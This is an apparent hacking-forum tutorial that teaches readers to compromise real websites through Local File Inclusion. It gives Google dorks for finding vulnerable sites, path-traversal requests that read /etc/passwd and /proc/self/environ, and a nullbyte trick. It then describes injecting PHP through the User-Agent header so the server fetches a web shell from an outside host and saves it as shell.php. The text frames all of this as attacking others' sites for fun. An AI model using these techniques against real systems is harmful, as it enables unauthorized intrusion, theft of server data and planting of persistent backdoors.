Local File Inclusion Tutorial(LFI) - LFI - Web Hacking - Hacking

Local File Inclusion Tutorial(LFI)

In this tutorial I show you how to get a shell on websites using Local File Inclusion (LFI) vulnerabilities and injection malicious code in proc/self/environ.Is a step by step tutorial. How To Hack Website Using Local File Inclusion(LFI) Follow the following steps to hack website using LFI and upload shell on hacked website. Step 1: Search For LFI vulnerable Sites? Now we are going to find a Local File Inclusion vulnerable website using some Dorks.Search that Dorks in google, to get LFI vulnerable Sites. inurl:redirect.php?page= inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path= inurl:/include/new-visitor.inc.php?lvc_include_dir= inurl:/_functions.php?prefix= inurl:/cpcommerce/_functions.php?prefix= Here i am using following google dork: inurl:redirect.php?page= Search that in google, and you should come up with a link like this: www.website.com/view.php?page=contact.php Step 2: Test Local File Inclusion vulnerability Now lets replace contact.php with ../ so the URL will become www.website.com/view.php?page=../ and we got an error Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337 Big chances to have a Local File Inclusion vulnerability.Let’s go to next step. Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request : www.website.com/view.php?page=../../../etc/passwd We got error and no etc/passwd file Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337 so we go more directories up www.website.com/view.php?page=../../../../../etc/passwd we succesfully included the etc/passwd file. root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin Note : well if Local File Inclusion vulnerable site url is, www.site.com/test.php?main=lol.php that means, PHP Code: include $main; so you cant go with it with any nullbyte ../../etc/passwd and if Local File Inclusion vulnerable site url like www.site.com/test.php?main=lol well that means the include has .php with it as in PHP Code: include $main.'.php'; well actually we know that mean the .php comes to the end of it so we have to use the nullbyte for this one. ../etc/passwd Step 3: Checking if proc/self/environ is accessible Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ www.website.com/view.php?page=../../../../../proc/self/environ If you get something like DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80 proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD. Step 4: Injecting malicious code Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header. Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL : www.website.com/view.php?page=../../../../../proc/self/environ Choose Tamper and in User-Agent filed write the following code : Then submit the request. Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini. Step 5: Access our shell Now lets check if our malicous code was successfully injected.Lets check if the shell is present. www.website.com/shell.php Our shell is there.Injection was succesfully. So friends, I hope you will like this Local File Inclusion Tutorial.... I have personally tested this Website Hacking Tutorial and found all are working. If you have any problem in above Website hacking Using Lemote File Inclusion Tutorial, please mention it in comments section. Enjoy Website Hacking ........
1 2 3 4 5 Category: LFI \| Added by: max_hacker (12.06.10)
Views: 4560 \| Comments: 1 \| Rating: 3.0/2

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1 Ideapeume (13.02.26 1:59 AM) [Entry]

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